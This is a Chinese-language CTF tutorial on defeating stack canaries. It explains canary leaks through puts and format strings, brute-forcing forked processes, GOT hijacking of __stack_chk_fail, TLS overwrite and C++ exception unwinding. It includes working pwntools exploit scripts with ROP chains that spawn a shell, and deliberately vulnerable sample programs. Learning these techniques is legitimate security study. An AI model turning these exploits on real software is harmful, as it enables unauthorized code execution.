Canary保护绕过 基本原理 之前学习的栈溢出,有很多都是没有限制输入长度或限制不严格的函数等向栈中写入构造的数据,传统的防御机制就是开启 Canary保护,Canary 实现和设计思想都比较简单, 就是插入一个值,在stack overflow发生的高危区域的栈空间尾部放入一串8字节的随机数据,当函数返回时检测Canary的值是否经过了改变,以此来判断stack/buffer overflow是否发生。若发生改变则说明栈被改变了,进入__stack_chk_fail
。验证成功则跳到leave 和 ret
正常的返回。
当程序启用Canary编译后,在函数序言部分会取fs寄存器0x28处的值,存到EBP - 0x4(32位)或RBP - 0x8(64位)的位置。 这个操作即为向栈中插入Canary值,代码如下:
mov rax, qword ptr fs:[0x28] mov qword ptr [rbp - 8], rax
栈结构大致如下:
High Address | | +-----------------+ | args | +-----------------+ | return address | +-----------------+ rbp => | old ebp | +-----------------+ rbp-8 => | canary value | +-----------------+ | 局部变量 | Low | | Address
函数返回之前会将该值取出并与 fs:0x28 的值进行异或,结果为0就说明canary未被修改,函数正常返回
xor rdx,QWORD PTR fs:0x28 je 0x4005d7 <main+65> call 0x400460 <__stack_chk_fail@plt>
如果 canary 已经被非法修改,此时程序流程会走到 __stack_chk_fail
。__stack_chk_fail
也是位于 glibc 中的函数,默认情况下经过 ELF 的延迟绑定。
绕过 泄露栈中的Canary Canary设计以字节 \x00
结尾,本意是为了保证 Canary 可以截断字符串,简单点说就是正常情况下,不能被 printf 等输出函数输出,防止泄露。 泄露栈中的 Canary 的思路是覆盖 Canary 的最后一个字节”\x00”,来打印出剩余的 Canary 部分。
这种利用方式需要存在合适的输出函数或者通过格式化字符串泄露。可能需要第一次泄露Canary,之后再次溢出恢复Canary最后一位,才能控制执行流程。
题目:pwn1
检查保护能看到Canary开启,有栈溢出并且有puts函数,v6就是canary,可以考虑puts输出Canary
Canary最低位设计为\x00,目的为截断字符串,通过栈溢出将canary最低位截断字符\x00覆盖,然后通过puts函数将输入的字符和剩余的canary输出,canary最低位补\x00就是canary的值。
sh = process("./babystack" ) sh.sendlineafter('>> ' ,'1' ) sh.sendline('A' *0x88 )
输入0x88字节数据后,加上最后一个\n将canary的最低位覆盖
sh.sendlineafter('>> ' ,'2' ) sh.recvuntil('A\n' ) canary = u64(sh.recv(7 ).rjust(8 ,b'\x00' ))
puts输出
canary泄露后就是正常的栈溢出,通过one_gadget找到execve在动态链接库的地址
利用puts
函数泄露出puts
函数在程序中的地址,puts输出需要用到rdi来传递参数
通过puts函数来找到execve的地址
最终代码
from pwn import *elf = ELF('./babystack' ) libc = ELF('./libc-2.23.so' ) puts_got = elf.got['puts' ] puts_plt = elf.plt['puts' ] main_addr = 0x400908 pop_rdi = 0x400a93 sh = process("./babystack" ) sh.sendlineafter('>> ' ,'1' ) sh.sendline(b'A' *0x88 ) sh.sendlineafter('>> ' ,'2' ) sh.recvuntil('A\n' ) canary = u64(sh.recv(7 ).rjust(8 ,b'\x00' )) print (hex (canary))payload = b'A' *0x88 + p64(canary) + b'B' *8 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr) sh.sendlineafter('>> ' ,'1' ) sh.sendline(payload) sh.sendlineafter('>> ' ,'3' ) real_puts = u64(sh.recv(6 ).ljust(8 ,b'\x00' )) print (hex (real_puts))base = real_puts - libc.symbols['puts' ] execve = base + 0x45216 payload = b'A' *0x88 + p64(canary) + b'B' *8 + p64(execve) sh.sendlineafter('>> ' ,'1' ) sh.sendline(payload) sh.sendlineafter('>> ' ,'3' ) sh.interactive()
格式化字符串泄露Canary 题目:攻防世界-Mary_Morton
unsigned __int64 sub_4008EB () { char buf[136 ]; unsigned __int64 v2; v2 = __readfsqword(0x28 u); memset (buf, 0 , 0x80 uLL); read(0 , buf, 0x7F uLL); printf (buf); return __readfsqword(0x28 u) ^ v2; }
unsigned __int64 sub_400960 () { char buf[136 ]; unsigned __int64 v2; v2 = __readfsqword(0x28 u); memset (buf, 0 , 0x80 uLL); read(0 , buf, 0x100 uLL); printf ("-> %s\n" , buf); return __readfsqword(0x28 u) ^ v2; }
canary保护
可以利用字符串漏洞,泄露canary的值,在函数返回时填回去,之后利用栈溢出返回到后门函数
逐字节爆破Canary 每次进程重启后的Canary不同,但是同一进程中不同线程的Canary是相同的,并且通过fork函数创建的子进程的Canary也是相同的,子进程会继承父进程的Canary。当子进程由于Canary不正确导致程序崩溃时,父进程不会崩溃,利用这样的特点就可以在子进程逐个字节将Canary爆破出来,爆破模板如下:
print "[+] Brute forcing stack canary " start = len (p) stop = len (p)+8 while len (p) < stop: for i in xrange(0 ,256 ): res = send2server(p + chr (i)) if res != "" : p = p + chr (i) break if i == 255 : print "[-] Exploit failed" sys.exit(-1 ) canary = p[stop:start-1 :-1 ].encode("hex" ) print " [+] SSP value is 0x%s" % canary
例题:
#include <stdio.h> #include <unistd.h> #include <stdlib.h> #include <sys/wait.h> void getflag (void ) { char flag[100 ]; FILE *fp = fopen("./flag" , "r" ); if (fp == NULL ) { puts ("get flag error" ); exit (0 ); } fgets(flag, 100 , fp); puts (flag); } void init () { setbuf(stdin , NULL ); setbuf(stdout , NULL ); setbuf(stderr , NULL ); } void fun (void ) { char buffer[100 ]; read(STDIN_FILENO, buffer, 120 ); } int main (void ) { init(); pid_t pid; while (1 ) { pid = fork(); if (pid < 0 ) { puts ("fork error" ); exit (0 ); } else if (pid == 0 ) { puts ("welcome" ); fun(); puts ("recv sucess" ); } else { wait(0 ); } } }
爆破脚本
from pwn import *context.log_level = 'debug' cn = process('./bin' ) cn.recvuntil('welcome\n' ) canary = '\x00' for j in range (3 ): for i in range (0x100 ): cn.send('a' *100 + canary + chr (i)) a = cn.recvuntil('welcome\n' ) if 'recv' in a: canary += chr (i) break cn.sendline('a' *100 + canary + 'a' *12 + p32(0x0804864d )) flag = cn.recv() cn.close() log.success('flag is:' + flag)
劫持__stack_chk_fail 函数 已知 Canary 失败的处理逻辑会进入到 __stack_chk_failed
函数,__stack_chk_fail
ed 函数是一个普通的延迟绑定函数,可以通过修改 GOT 表劫持这个函数。
题目:ZCTF2017 Login
覆盖__stack_chk_fail 的GOT表项
def exploit (): offset = 0x50 offset_eax = 0x7a payload = p32(binary.symbols['got.__stack_chk_fail' ]) payload += 'a' * (offset - 0x4 ) payload += p32(binary.symbols['main' ]) payload += 'a' * (offset_eax - offset + 0x4 ) payload += r'%s:%39x%10$hhn' + '\x00'
代码执行完后,__stack_chk_fail
的GOT被覆盖为malloc@plt
,不会触发 Canary
机制,同时返回到 main
中
覆盖TLS中储存的Canary值 题目:StarCTF2018 babystack
__int64 __fastcall main (int a1, char **a2, char **a3) { pthread_t newthread[2 ]; newthread[1 ] = __readfsqword(0x28 u); setbuf(stdin , 0LL ); setbuf(stdout , 0LL ); puts (byte_400C96); puts (" # # #### ##### ######" ); puts (" # # # # # #" ); puts ("### ### # # #####" ); puts (" # # # # #" ); puts (" # # # # # #" ); puts (" #### # #" ); puts (byte_400C96); pthread_create(newthread, 0LL , start_routine, 0LL ); if ( pthread_join(newthread[0 ], 0LL ) ) { puts ("exit failure" ); return 1LL ; } else { puts ("Bye bye" ); return 0LL ; } }
pthread_create函数声明
#include <pthread.h> int pthread_create ( pthread_t *restrict tidp, const pthread_attr_t *restrict attr, void *(*start_rtn)(void *), void *restrict arg ) ;
创建一个新的线程,该线程将执行start_routine
函数,没有传递额外的参数,并将新线程的标识符存储在newthread
中。
线程控制块结构 就是pthread,结构体 tcbhead_t
typedef struct { void *tcb; dtv_t *dtv; void *self; int multiple_threads; int gscope_flag; uintptr_t sysinfo; uintptr_t stack_guard; 存放单个线程的canary uintptr_t pointer_guard; ... } tcbhead_t ;
tcb 指针和 self 指针,实际指向的都是同一个地址,即 struct pthread 结构体(亦或者是 struct tcbhead_t 本身,这两个结构体地址相同),所以可以用
x/x pthread_self()
打印结构体的地址,快速找到stack_guard
,stack_guard
存放单个线程的canary
,p/x pthread_self()
打印canary
。 漏洞主要在start_routine中,在这个函数里有一个可以输入0x10000的漏洞
两次输入
1、栈溢出控制返回地址执行一个puts泄露libc地址,一个read,控制canary
2、向bss段写入one_gadget地址
c++异常机制绕过Canary 题目:Shanghai-DCTF-2017
第一个函数中,有一个异常捕获机制,但是在伪代码中并没有显示
__int64 sub_401500 () { sub_401148(); sub_400F8F(); puts ("bruteforcing start:" ); while ( !(unsigned int )sub_4013AD() ) sleep(1u ); return 0LL ; }
实际上:
try{ sub_401148(); } catch(int *_ZTIi){ ... }
在sub_401148()函数里面有一个整型溢出漏洞
__int64 __fastcall sub_400E76 (__int64 a1, unsigned int a2) { char buf; unsigned int i; unsigned __int64 v5; v5 = __readfsqword(0x28 u); for ( i = 0 ; i < a2; ++i ) { read(0 , &buf, 1uLL ); if ( buf == 10 ) { *(_BYTE *)(i + a1) = 0 ; return i + 1 ; } *(_BYTE *)(a1 + i) = buf; } *(_BYTE *)(a2 - 1 + a1) = 0 ; return i; }
对输入加一后进行无符号整型强制转换
异常抛出
异常机制中,在编译一段 C++ 代码时,编译器会将所有 throw 语句替换为其 C++ 运行时库中的某一指定函数,这里我们叫它 __CxxRTThrowExp
。该函数接收一个编译器认可的内部结构(我们叫它 EXCEPTION 结构)。这个结构中包含了待抛出异常对象的起始地址、用于销毁它的析构函数,以及它的 type_info 信息。对于没有启用 RTTI 机制(编译器禁用了 RTTI 机制或没有在类层次结构中使用虚表)的异常类层次结构,可能还要包含其所有基类的 type_info 信息,以便与相应的 catch 块进行匹配。
__CxxRTThrowExp 首先接收(并保存)EXCEPTION 对象;然后从 TLS:Current ExpHdl 处找到与当前函数对应的 piHandler、nStep 等异常处理相关数据;并按照前文所述的机制完成异常捕获和栈回退。由此完成了包括“抛出”->“捕获”->“回退”等步骤的整套异常处理机制。
异常捕获机制
一个异常被抛出时,就会立即引发 C++ 的异常捕获机制: 根据 c++ 的标准,异常抛出后如果在当前函数内没有被捕捉(catch),它就要沿着函数的调用链继续往上抛,直到走完整个调用链,或者在某个函数中找到相应的 catch。如果走完调用链都没有找到相应的 catch,那么std::terminate() 就会被调用,这个函数默认是把程序 abort,而如果最后找到了相应的 catch,就会进入该 catch 代码块,执行相应的操作。
程序中的 catch 那部分代码有一个专门的名字叫作:Landing pad(不十分准确),从抛异常开始到执行 landing pad 里的代码这中间的整个过程叫作 stack unwind,这个过程包含了两个阶段: 1)从抛异常的函数开始,对调用链上的函数逐个往前查找 landing pad。
2)如果没有找到 landing pad 则把程序 abort,否则,则记下 landing pad 的位置,再重新回到抛异常的函数那里开始,一帧一帧地清理调用链上各个函数内部的局部变量,直到 landing pad 所在的函数为止。
为了能够成功地捕获异常和正确地完成栈回退(stack unwind)
栈回退(Stack Unwind)机制
“回退”是伴随异常处理机制引入 C++ 中的一个新概念,主要用来确保在异常被抛出、捕获并处理后,所有生命期已结束的对象都会被正确地析构,它们所占用的空间会被正确地回收。
简单来说就是:如果异常被上一个函数的catch捕获,所以rbp变成了上一个函数的rbp, 而通过构造一个payload把上一个函数的rbp修改成stack_pivot地址, 之后上一个函数返回的时候执行leave ret,这样就能成功绕过canary的检查,而且进一步也能控制eip,去执行了stack_pivot中的rop
栈地址任意写绕过Canary检查 利用格式化字符串 或数组下标越界 ,实现栈地址任意写,不必连续向栈上写,直接写ebp和ret,这样不会触发canary check
参考